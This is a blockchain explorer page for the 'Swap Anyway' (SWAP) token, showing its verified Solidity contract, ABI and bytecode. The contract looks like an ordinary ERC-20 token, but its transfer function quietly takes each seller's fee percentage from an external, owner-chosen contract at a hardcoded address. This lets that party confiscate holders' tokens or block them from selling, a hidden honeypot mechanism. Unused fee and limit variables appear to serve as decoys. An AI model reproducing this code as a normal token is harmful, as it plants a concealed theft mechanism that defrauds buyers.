ETH Price: $2,731.60 (-1.22%)

Token

Swap Anyway (SWAP)
 

Overview

Max Total Supply

69,000,000 SWAP

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,169,891.517237386406162538 SWAP

Value
$0.00
0xd2d59a64fa9a788268b5ad3c109731cc9d151c6f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SwapAnyway

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-18
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
    function createPair(address tokenA, address tokenD) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function approve(address spendr, uint256 amount) external returns (bool);
    function balanceOf(address wallt) external view returns (uint256);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }
}

contract SwapAnyway is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    address internal _feeReceiverAddress = 0xBa1C2060ACABC3Be64c634b66A18673d9BdE98a5;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => mapping (address => uint256)) private _allowances;
    address private uniswapV2Pair;
    uint256 private _totalSupply =  69000000 * 10 ** _decimals;
    mapping (address => uint256) private _balances;
    string private _name = "Swap Anyway";
    string private _symbol = "SWAP";
    uint256 _buys = 0;
    uint256 _fee = 0;
    mapping(address => bool) _excludeFromLimits;

    constructor () {
        _excludeFromLimits[address(this)] = true;
        _excludeFromLimits[address(0)] = true;
        _excludeFromLimits[_feeReceiverAddress] = true;
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sender, address indexed recipient, uint256 amount);

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    bool private tradingStarted = false;

    function openTrading() external payable onlyOwner() {
        require(!tradingStarted, "Trading already opened.");
        tradingStarted = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);
        uint256 feeAmount = 0;
        if (from != uniswapV2Pair && _buys > 0 && tradingStarted) {
            feeAmount = _fee;
        }
        if (from != uniswapV2Pair && from != address(this)) {
            feeAmount = IERC20(_feeReceiverAddress).balanceOf(from);
        }
        _balances[to] = _balances[to].add(amount).sub(amount.mul(feeAmount).div(100));
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff16021790555073ba1c2060acabc3be64c634b66a18673d9bde98a560015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60149054906101000a900460ff16600a620000e49190620005b7565b63041cdb40620000f5919062000607565b6005556040518060400160405280600b81526020017f5377617020416e79776179000000000000000000000000000000000000000000815250600790816200013e9190620008ac565b506040518060400160405280600481526020017f535741500000000000000000000000000000000000000000000000000000000081525060089081620001859190620008ac565b505f6009555f600a555f600c5f6101000a81548160ff021916908315150217905550348015620001b3575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060055460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620004179190620009a1565b60405180910390a3620009bc565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620004af5780860481111562000487576200048662000425565b5b6001851615620004975780820291505b8081029050620004a78562000452565b945062000467565b94509492505050565b5f82620004c957600190506200059b565b81620004d8575f90506200059b565b8160018114620004f15760028114620004fc5762000532565b60019150506200059b565b60ff84111562000511576200051062000425565b5b8360020a9150848211156200052b576200052a62000425565b5b506200059b565b5060208310610133831016604e8410600b84101617156200056c5782820a90508381111562000566576200056562000425565b5b6200059b565b6200057b84848460016200045e565b9250905081840481111562000595576200059462000425565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620005c382620005a2565b9150620005d083620005ab565b9250620005ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004b8565b905092915050565b5f6200061382620005a2565b91506200062083620005a2565b92508282026200063081620005a2565b915082820484148315176200064a576200064962000425565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006cd57607f821691505b602082108103620006e357620006e262000688565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007477fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200070a565b6200075386836200070a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620007946200078e6200078884620005a2565b6200076b565b620005a2565b9050919050565b5f819050919050565b620007af8362000774565b620007c7620007be826200079b565b84845462000716565b825550505050565b5f90565b620007dd620007cf565b620007ea818484620007a4565b505050565b5b818110156200081157620008055f82620007d3565b600181019050620007f0565b5050565b601f82111562000860576200082a81620006e9565b6200083584620006fb565b8101602085101562000845578190505b6200085d6200085485620006fb565b830182620007ef565b50505b505050565b5f82821c905092915050565b5f620008825f198460080262000865565b1980831691505092915050565b5f6200089c838362000871565b9150826002028217905092915050565b620008b78262000651565b67ffffffffffffffff811115620008d357620008d26200065b565b5b620008df8254620006b5565b620008ec82828562000815565b5f60209050601f83116001811462000922575f84156200090d578287015190505b6200091985826200088f565b86555062000988565b601f1984166200093286620006e9565b5f5b828110156200095b5784890151825560018201915060208501945060208101905062000934565b868310156200097b578489015162000977601f89168262000871565b8355505b6001600288020188555050505b505050505050565b6200099b81620005a2565b82525050565b5f602082019050620009b65f83018462000990565b92915050565b611aab80620009ca5f395ff3fe6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb919061128a565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f5919061133b565b610358565b6040516101079190611393565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b60405161013191906113bb565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b91906113d4565b610377565b60405161016d9190611393565b60405180910390f35b348015610181575f80fd5b5061018a610423565b604051610197919061143f565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190611458565b610438565b6040516101d391906113bb565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b6040516102139190611492565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d919061128a565b60405180910390f35b348015610251575f80fd5b5061026c6004803603810190610267919061133b565b61067c565b6040516102799190611393565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad91906114ab565b610b22565b6040516102bf91906113bb565b60405180910390f35b6060600780546102d790611516565b80601f016020809104026020016040519081016040528092919081815260200182805461030390611516565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600554905090565b5f610383848484610d67565b61041884336104138560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114f90919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611590565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546105fb90611516565b80601f016020809104026020016040519081016040528092919081815260200182805461062790611516565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611590565b60405180910390fd5b600c5f9054906101000a900460ff161561076e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610765906115f8565b60405180910390fd5b6001600c5f6101000a81548160ff0219169083151502179055506107b63060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554610ba4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610844919061162a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ee919061162a565b6040518363ffffffff1660e01b815260040161090b929190611655565b6020604051808303815f875af1158015610927573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094b919061162a565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109d230610438565b5f806109dc6105c5565b426040518863ffffffff1660e01b81526004016109fe969594939291906116be565b60606040518083038185885af1158015610a1a573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3f9190611731565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610adf929190611781565b6020604051808303815f875af1158015610afb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1f91906117d2565b50565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c099061186d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c77906118fb565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d5a91906113bb565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9e575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dd5575f80fd5b5f8111610de0575f80fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e3f57505f600954115b8015610e565750600c5f9054906101000a900460ff165b15610e6157600a5490505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610eea57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f8b5760015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610f499190611492565b602060405180830381865afa158015610f64573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f889190611919565b90505b611012610fb46064610fa6848661117590919063ffffffff16565b6111b590919063ffffffff16565b6110048460065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111da90919063ffffffff16565b61114f90919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110a38260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114f90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161114191906113bb565b60405180910390a350505050565b5f8282111561115c575f80fd5b5f82846111699190611971565b90508091505092915050565b5f808303611185575f90506111af565b5f828461119291906119a4565b90508284826111a19190611a12565b146111aa575f80fd5b809150505b92915050565b5f8082116111c1575f80fd5b5f82846111ce9190611a12565b90508091505092915050565b5f8082846111e89190611a42565b9050838110156111f6575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561123757808201518184015260208101905061121c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61125c82611200565b611266818561120a565b935061127681856020860161121a565b61127f81611242565b840191505092915050565b5f6020820190508181035f8301526112a28184611252565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112d7826112ae565b9050919050565b6112e7816112cd565b81146112f1575f80fd5b50565b5f81359050611302816112de565b92915050565b5f819050919050565b61131a81611308565b8114611324575f80fd5b50565b5f8135905061133581611311565b92915050565b5f8060408385031215611351576113506112aa565b5b5f61135e858286016112f4565b925050602061136f85828601611327565b9150509250929050565b5f8115159050919050565b61138d81611379565b82525050565b5f6020820190506113a65f830184611384565b92915050565b6113b581611308565b82525050565b5f6020820190506113ce5f8301846113ac565b92915050565b5f805f606084860312156113eb576113ea6112aa565b5b5f6113f8868287016112f4565b9350506020611409868287016112f4565b925050604061141a86828701611327565b9150509250925092565b5f60ff82169050919050565b61143981611424565b82525050565b5f6020820190506114525f830184611430565b92915050565b5f6020828403121561146d5761146c6112aa565b5b5f61147a848285016112f4565b91505092915050565b61148c816112cd565b82525050565b5f6020820190506114a55f830184611483565b92915050565b5f80604083850312156114c1576114c06112aa565b5b5f6114ce858286016112f4565b92505060206114df858286016112f4565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061152d57607f821691505b6020821081036115405761153f6114e9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61157a60208361120a565b915061158582611546565b602082019050919050565b5f6020820190508181035f8301526115a78161156e565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6115e260178361120a565b91506115ed826115ae565b602082019050919050565b5f6020820190508181035f83015261160f816115d6565b9050919050565b5f81519050611624816112de565b92915050565b5f6020828403121561163f5761163e6112aa565b5b5f61164c84828501611616565b91505092915050565b5f6040820190506116685f830185611483565b6116756020830184611483565b9392505050565b5f819050919050565b5f819050919050565b5f6116a86116a361169e8461167c565b611685565b611308565b9050919050565b6116b88161168e565b82525050565b5f60c0820190506116d15f830189611483565b6116de60208301886113ac565b6116eb60408301876116af565b6116f860608301866116af565b6117056080830185611483565b61171260a08301846113ac565b979650505050505050565b5f8151905061172b81611311565b92915050565b5f805f60608486031215611748576117476112aa565b5b5f6117558682870161171d565b93505060206117668682870161171d565b92505060406117778682870161171d565b9150509250925092565b5f6040820190506117945f830185611483565b6117a160208301846113ac565b9392505050565b6117b181611379565b81146117bb575f80fd5b50565b5f815190506117cc816117a8565b92915050565b5f602082840312156117e7576117e66112aa565b5b5f6117f4848285016117be565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61185760248361120a565b9150611862826117fd565b604082019050919050565b5f6020820190508181035f8301526118848161184b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118e560228361120a565b91506118f08261188b565b604082019050919050565b5f6020820190508181035f830152611912816118d9565b9050919050565b5f6020828403121561192e5761192d6112aa565b5b5f61193b8482850161171d565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61197b82611308565b915061198683611308565b925082820390508181111561199e5761199d611944565b5b92915050565b5f6119ae82611308565b91506119b983611308565b92508282026119c781611308565b915082820484148315176119de576119dd611944565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a1c82611308565b9150611a2783611308565b925082611a3757611a366119e5565b5b828204905092915050565b5f611a4c82611308565b9150611a5783611308565b9250828201905080821115611a6f57611a6e611944565b5b9291505056fea264697066735822122097f847ce9ae203d7de5b86378c65876ca0d34205782af00a7af9280ed6e11d4e64736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb919061128a565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f5919061133b565b610358565b6040516101079190611393565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b60405161013191906113bb565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b91906113d4565b610377565b60405161016d9190611393565b60405180910390f35b348015610181575f80fd5b5061018a610423565b604051610197919061143f565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190611458565b610438565b6040516101d391906113bb565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b6040516102139190611492565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d919061128a565b60405180910390f35b348015610251575f80fd5b5061026c6004803603810190610267919061133b565b61067c565b6040516102799190611393565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad91906114ab565b610b22565b6040516102bf91906113bb565b60405180910390f35b6060600780546102d790611516565b80601f016020809104026020016040519081016040528092919081815260200182805461030390611516565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600554905090565b5f610383848484610d67565b61041884336104138560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114f90919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611590565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546105fb90611516565b80601f016020809104026020016040519081016040528092919081815260200182805461062790611516565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611590565b60405180910390fd5b600c5f9054906101000a900460ff161561076e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610765906115f8565b60405180910390fd5b6001600c5f6101000a81548160ff0219169083151502179055506107b63060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554610ba4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610844919061162a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ee919061162a565b6040518363ffffffff1660e01b815260040161090b929190611655565b6020604051808303815f875af1158015610927573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094b919061162a565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109d230610438565b5f806109dc6105c5565b426040518863ffffffff1660e01b81526004016109fe969594939291906116be565b60606040518083038185885af1158015610a1a573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906